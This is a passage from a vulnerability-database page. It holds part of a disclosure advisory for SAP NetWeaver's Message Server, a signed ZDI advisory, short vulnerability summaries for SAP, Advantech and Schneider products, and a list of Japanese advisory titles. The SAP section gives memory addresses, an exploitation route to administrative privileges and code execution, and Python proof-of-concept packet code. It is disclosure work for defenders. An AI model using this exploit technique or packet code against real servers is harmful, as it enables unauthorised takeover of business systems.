MS_CLIENT_TYPE 00000004 stat dd ? ; enum MS_STAT 00000008 connection_ID dd ? 0000000C status db ? 0000000D dom db ? ; XREF: MsSFillCon+3Cw 0000000E admin_allowed db ? 0000000F db ? ; undefined 00000010 name dw 40 dup(?) [...] 00000534 _padding db 4 dup(?) 00000538 MSADM_s ends -----/ The 'admin_allowed' field at offset 0x0E is a boolean value that indicates whether the connected client has administrative privileges or not. When a new client connects, the 'MsSLoginClient' function of the Message Server sets the proper value for the 'admin_allowed' field in the 'MSADM_s' struct instance associated with that client: /----- .text:004230DC loc_4230DC: ; CODE XREF: MsSLoginClient+AAAj .text:004230DC ; MsSLoginClient+B26j .text:004230DC cmp byte ptr [edi+0Eh], 0 ; privileged client? .text:004230E0 jnz short loc_4230EA ; if yes, jump .text:004230E2 mov al, byte ptr ms_admin_allowed ; otherwise, grab the value of the "ms_admin_allowed" global variable... .text:004230E7 mov [edi+0Eh], al ; ...and save it to MSADM_s.admin_allowed -----/ So if we manage to overwrite the value of the 'ms_admin_allowed' global variable with a value different than 0, then we can grant administrative privileges to our unprivileged connections. In SAP Netweaver 'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global variable is located at '0x008f17f0': /----- .data:008F17F0 ; int ms_admin_allowed .data:008F17F0 ms_admin_allowed dd ? ; DATA XREF: MsSSetMonitor+7Ew .data:008F17F0 ; MsSLoginClient+B62r -----/ And the 'j2ee_stat_services' global array, which is the array that can be indexed outside its bounds, is located at '0x0090b9e0': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be targeting '0x008F17C8' as the base address for memory corruption. Having in mind the different memory corruption primitives based on combinations of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and 'flag == 0x2' in our Message Server packet we will be able to add 1 to '[0x008F17C8+0x28]', effectively overwriting the contents of '0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed', all of our future connections will have administrative privileges within the Message Server. After gaining administrative privileges for our future connections, there are at least two possible paths of exploitation: 1. Of course it is not mandatory to have administrative privileges in order to overwrite function pointers, but considering the limitation of targetable addresses imposed by the little granularity of the memory corruption, some of the most handy-to-exploit function pointers happened to be accessible just for administrative connections. 2. Modify the configuration and behavior of the server. That includes changing Message Server's runtime parameters and enabling Monitor Mode in the affected server. 8.1.1. *Gaining remote code execution by overwriting function pointers* Having in mind that the granularity of the memory addresses that can be targeted for memory corruption is not that flexible (0x48 bytes) and the limited memory corruption primitives available, it takes some effort to find a function pointer that can be overwritten with a useful value and which can be later triggered with a network packet. One possibility is to overwrite one of the function pointers which are in charge of handling the modification of Message Server parameters: /----- .data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58] ; function pointers associated to the modification of the "ms/max_sleep" parameter .data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_sleep, \ .data:0087DED0 offset MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2" .data:0087DED0 offset MsSSetMaxSleep> ; function pointers associated to the modification of the "ms/max_vhost" parameter .data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_vhost, \ .data:0087DED0 offset MsSTestInteger, \ ;<-- we can overwrite this one .data:0087DED0 offset MsSSetMaxVirtHost> [...] -----/ By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target '0x0087DED8' as the base address for memory corruption. In this case we can use the memory corruption primitive at address '0x0044D3C1' that always gets executed, which will allow us to add an arbitrary number (the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]' effectively overwriting the function pointer shown above ('ms_changeable_parameter[1].set'). After that we need to send a 'MS_SET_PROPERTY' request, specifying 'ms/max_vhost' as the name of the property to be changed. This 'MS_SET_PROPERTY' packet will make our overwritten function pointer to be called from the 'MsSChangeParam' function: /----- .text:00404DB3 loc_404DB3: ; CODE XREF: MsSChangeParam+CDj .text:00404DB3 lea esi, [edi+edi*2] .text:00404DB6 mov edi, [ebp+pvalue] .text:00404DB9 add esi, esi .text:00404DBB mov edx, ms_changeable_parameter.test[esi+esi] .text:00404DC2 add esi, esi .text:00404DC4 push edi .text:00404DC5 push pname .text:00404DC6 call edx ; call our overwritten function pointer -----/ 'MS_SET_PROPERTY' packets will be ignored by the Message Server if the requesting client does not have administrative privileges, so it is necessary to gain administrative privileges as explained above before using the memory corruption vulnerability to overwrite one of the function pointers in the 'ms_changeable_parameter' global array. 8.1.2. *Modify the configuration and behavior of the server* After gaining administrative privileges for our connections, it is possible to perform 'MS_SET_PROPERTY' packets against the Message Server in order to modify its configuration and behavior. That makes possible, for example, to add virtual hosts to the load balancer, or to enable Monitor Mode [3] (transaction SMMS) on the affected server. Enabling Monitor Mode takes two steps: 1. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/monitor"', property 'value == 1'. 2. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/admin_port"', property 'value == 3535' (or any other arbitrary port number). After sending the second 'MS_SET_PROPERTY' packet, the SAP Netweaver Message Server will start listening on the specified port, waiting for connections from instances of the msmon.exe monitoring program [4]. The following python code can be used to trigger the vulnerability: /----- def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x0d' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd" crash+= "\x00\x00\x00\x01" crash+= "\xff\xff\xff\xff" crash+= "\x00\x00\x00\x00" send_packet(connection, crash) print "[*] Crash sent !" -----/ 8.2. Malicious packets are processed by the vulnerable function 'WRITE_C' in the 'msg_server.exe' module. The following python code can be used to trigger the vulnerability: /----- def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x05' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "AD-EYECATCH\x00" crash+= "\x01\x01" crash+= "%11d" % 104 crash+= "%11d" % 1 crash+= "\x15\x00\x00\x00" crash+= "\x20\x00\x00\xc8" crash+= "LALA" + ' '*(20-4) crash+= "LOLO" + ' '*(40-4) crash+= " "*36 send_packet(connection, crash) print "[*] Crash sent !" -----/ 9. *Report Timeline* . 2012-12-10: Core Security Technologies notifies the SAP team of the vulnerability, setting the estimated publication date of the advisory for January 22nd, 2013. 2012-12-10: Core sends an advisory draft with technical details and a PoC. 2012-12-11: The SAP team confirms the reception of the issue. 2012-12-21: SAP notifies that they concluded the analysis of the reported issues and confirms two out of the five vulnerabilities. Vendor also notifies that the other three reported issues were already fixed in February, 2012. Vendor also notifies that the necessary code changes are being done and extensive tests will follow. The corresponding security note and patches are planned to be released on the Security Patch Day in Feb 12th 2013. 2012-12-21: Core re-schedules the advisory publication for Feb 12th, 2013. 2012-12-28: SAP notifies Core that they will be contacted if tests fails in order to re-schedule the advisory publication. 2013-01-22: First release date missed. 2013-01-28: SAP notifies that they are still confident with releasing a security note and patches on Feb 12th as planned. 2013-01-29: Core acknowledges receiving the information and notifies that everything is ready for public disclosing on Feb 12th. Core also asks additional information regarding the patched vulnerabilities mentioned in [2012-12-21], including links to security bulletin, CVEs, and patches in order to verify if those patches effectively fix the reported flaws. 2013-02-01: SAP notifies that the patched vulnerabilities mentioned in [2012-12-21] were reported in [5] and no CVE were assigned to them. Those vulnerabilities seems to be related to ZDI advisories [6], [7], [8]. 2013-02-06: Core notifies that the patched vulnerabilities will be removed from the advisory and asks additional information regarding the affected and patched version numbers. 2013-02-01: SAP notifies that the security note 1800603 will be released and that note will provide further information regarting this vulnerability. 2013-02-13: Advisory CORE-2012-1128 published. 10. *References* [1] http://www.sap.com/platform/netweaver/index.epx. [2] SAP Security note Feb 2013 https://service.sap.com/sap/support/notes/1800603. [3] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm. [4] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm. [5] SAP Security notes Feb 2012 https//service.sap.com/sap/support/notes/1649840. [6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/. [7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/. [8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/. 11. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ZDI-12-111 : SAP Netweaver ABAP msg_server.exe Opcode 0x43 Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-12-111 June 28, 2012 - -- CVE ID: - -- CVSS: 10, AV:N/AC:L/Au:N/C:C/I:C/A:C - -- Affected Vendors: SAP - -- Affected Products: SAP NetWeaver - -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 12407. - -- Vendor Response: SAP has issued an update to correct this vulnerability. More details can be found at: http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d1 0-eea7-ceb666083a6a#section40 - -- Disclosure Timeline: 2011-10-28 - Vulnerability reported to vendor 2012-06-28 - Coordinated public release of advisory - -- Credit: This vulnerability was discovered by: * e6af8de8b1d4b2b6d5ba2610cbf9cd38 - -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. Instead, upon notifying the affected product vendor, TippingPoint provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, TippingPoint provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. Our vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ Follow the ZDI on Twitter: http://twitter.com/thezdi -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 10.2.0 (Build 1950) Charset: utf-8 wsBVAwUBT+yszFVtgMGTo1scAQLv/wf+MRiEiaRsMyaVgI7MTDUo9sXprBObQ6QM yIlVyGLjwEQrO9KsUMlCj/pfLkgjcHYpCNxcrB0+6ZgtphkIQhrB3w0sj/fjRyn1 Vuugvjazu8xffqujZ2ymaQHR+toaQjeKrtWvVbaTdJI6EFuUi+qT5MrZQfRWhE2X uqXdLphMXYH+SRhNtD+zJhxg4U4emVvirqNJa9YLwFE0UpxGRksKCB4Cx89o2QWE NiC9bPznAVCMOBh/R/8uROXkg1Jg9YBhEu7wzJY95Yfsl4oWpSO0cQOCF0WAWiHi TsUy3xHAjW7gMz7v/QMleok6C/7safK/7qjJRMDrGUQO1csmlZUkAg== =FVga -----END PGP SIGNATURE-----
var-201208-0222 Multiple stack-based buffer overflows in msg_server.exe in SAP NetWeaver ABAP 7.x allow remote attackers to cause a denial of service (crash) and execute arbitrary code via a (1) long parameter value, (2) crafted string size field, or (3) long Parameter Name string in a package with opcode 0x43 and sub opcode 0x4 to TCP port 3900. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of SAP Netweaver ABAP. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. NetWeaver ABAP is prone to a denial-of-service vulnerability
var-202005-0008 Advantech WebAccess Node, Version 8.4.4 and prior, Version 9.0.0. Multiple heap-based buffer overflow vulnerabilities exist caused by a lack of proper validation of the length of user-supplied data, which may allow remote code execution. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess/SCADA. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of IOCTL 0x0000791d in DATACORE.exe. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess is a browser-based SCADA software package for monitoring, data acquisition, and visualization. It is used to automate complex industrial processes when remote operation is required
var-202007-0395 Advantech iView, versions 5.6 and prior, contains multiple SQL injection vulnerabilities that are vulnerable to the use of an attacker-controlled string in the construction of SQL queries. An attacker could extract user credentials, read or modify information, and remotely execute code. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech iView. Authentication is not required to exploit this vulnerability.The specific flaw exists within the processing of calls to the retrieveActiveTrapCount method of the TrapTable class. When parsing the search_hostname HTTP parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. Advantech iView is a device management application provided by Advantech
var-202106-0542 A CWE-287: Improper Authentication vulnerability exists in PowerLogic PM55xx, PowerLogic PM8ECC, PowerLogic EGX100 and PowerLogic EGX300 (see security notification for version infromation) that could cause loss of connectivity to the device via Modbus TCP protocol when an attacker sends a specially crafted HTTP request. plural Schneider Electric The product contains authentication vulnerabilities.Service operation interruption (DoS) It may be in a state
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
jvndb-2025-000057 Multiple vulnerabilities in Mubit Powered BLUE 870 2025-08-08T14:47+09:00 2025-08-08T14:47+09:00
jvndb-2025-000056 Multiple vulnerabilities in Sato label printers CL4/6NX Plus and CL4/6NX-J Plus series 2025-08-06T16:38+09:00 2025-08-06T16:38+09:00
jvndb-2025-010603 Out-of-bounds write vulnerability in FUJIFILM Business Innovation MFPs 2025-08-05T11:29+09:00 2025-08-05T11:29+09:00
jvndb-2025-010408 Multiple vulnerabilities in PowerCMS 2025-08-01T12:05+09:00 2025-08-01T12:05+09:00
jvndb-2025-000055 ZXHN-F660T and ZXHN-F660A use a common credential for all installations 2025-07-31T15:12+09:00 2025-07-31T15:12+09:00
jvndb-2025-000054 Apache Jena Fuseki vulnerable to path traversal 2025-07-30T14:17+09:00 2025-07-30T14:17+09:00
jvndb-2025-000053 "SwitchBot" App vulnerable to insertion of sensitive information into log file 2025-07-29T13:44+09:00 2025-07-29T13:44+09:00
jvndb-2025-010056 TP-Link VIGI NVR1104H-4P and VIGI NVR2016H-16MP vulnerable to OS command injection 2025-07-28T17:53+09:00 2025-07-28T17:53+09:00
jvndb-2025-000052 TP-Link Archer C1200 vulnerable to clickjacking 2025-07-24T14:16+09:00 2025-07-24T14:16+09:00
jvndb-2025-000051 Real-time Bus Tracking System vulnerable to improper validation of specified quantity in input 2025-07-23T13:54+09:00 2025-07-23T13:54+09:00
jvndb-2025-009576 Multiple vulnerabilities in ELECOM wireless LAN routers 2025-07-23T11:13+09:00 2025-07-23T11:13+09:00
jvndb-2025-000050 "region PAY" App for Android vulnerable to insertion of sensitive information into log file 2025-07-22T13:33+09:00 2025-07-22T13:33+09:00
jvndb-2025-009150 Security updates for Trend Micro products (June 2025) 2025-07-17T17:03+09:00 2025-07-17T17:03+09:00
jvndb-2025-000030 Reflected cross-site scripting vulnerability in multiple laser printers and MFPs which implement Ricoh Web Image Monitor 2025-05-12T18:00+09:00 2025-07-17T10:06+09:00
jvndb-2025-000049 ZWX-2000CSW2-HN and ZWX-2000CS2-HN vulnerable to use of hard-coded credentials 2025-07-16T13:54+09:00 2025-07-16T13:54+09:00
jvndb-2025-008881 Least Privilege Violation Vulnerability in the communications functions of NJ/NX series Machine Automation Controllers 2025-07-15T15:54+09:00 2025-07-15T15:54+09:00
jvndb-2025-008783 Firebox T15 contains an issue with hidden functionality 2025-07-14T17:22+09:00 2025-07-14T17:22+09:00
jvndb-2025-008145 Epson Web Installer for Mac vulnerable to missing authentication for critical function 2025-07-08T14:08+09:00 2025-07-08T14:08+09:00
jvndb-2025-008106 Heap-based buffer overflow vulnerability in V-SFT and TELLUS 2025-07-07T16:26+09:00 2025-07-07T16:26+09:00
jvndb-2025-008105 Windows shortcut following (.LNK) vulnerability in Trend Micro Security for Windows (CVE-2025-52521) 2025-07-07T16:04+09:00 2025-07-07T16:04+09:00
jvndb-2025-000047 Multiple vulnerabilities in Nimesa Backup and Recovery 2025-07-07T15:26+09:00 2025-07-07T15:26+09:00
jvndb-2025-007978 Multiple vulnerabilities in Trend Micro Password Manager for Windows (CVE-2025-48443, CVE-2025-52837) 2025-07-04T13:28+09:00 2025-07-04T13:28+09:00
jvndb-2025-000045 Multiple vulnerabilities in Active! mail 2025-07-02T14:13+09:00 2025-07-02T14:13+09:00
jvndb-2025-007754 Multiple vulnerabilities in Contec CONPROSYS HMI System (CHS) 2025-07-02T11:31+09:00 2025-07-02T11:31+09:00
jvndb-2025-007607 Pass-Back Attack vulnerability in Konica Minorta bizhub series 2025-07-01T14:09+09:00 2025-07-01T14:09+09:00
jvndb-2025-007595 Multiple vulnerabilities in Web Connection of Konica Minolta MFPs 2025-07-01T14:02+09:00 2025-07-01T14:02+09:00
jvndb-2025-000046 SLNX Help Documentation of RICOH Streamline NX vulnerable to reflected cross-site scripting 2025-06-30T15:45+09:00 2025-06-30T15:45+09:00
jvndb-2025-007552 Multiple vulnerabilities in TB-eye network recorders and AHD recorders 2025-06-30T14:45+09:00 2025-06-30T14:45+09:00
jvndb-2024-004595 Multiple vulnerabilities in FutureNet NXR series, VXR series and WXR series 2024-07-29T17:51+09:00 2025-06-30T09:56+09:00
jvndb-2025-000043 Multiple vulnerabilities in iroha Board 2025-06-26T15:13+09:00 2025-06-26T15:13+09:00
Vulnerabilities are sorted by update time (recent to old).
ID Description
ts-2022-002 TS-2022-002
ts-2022-001 TS-2022-001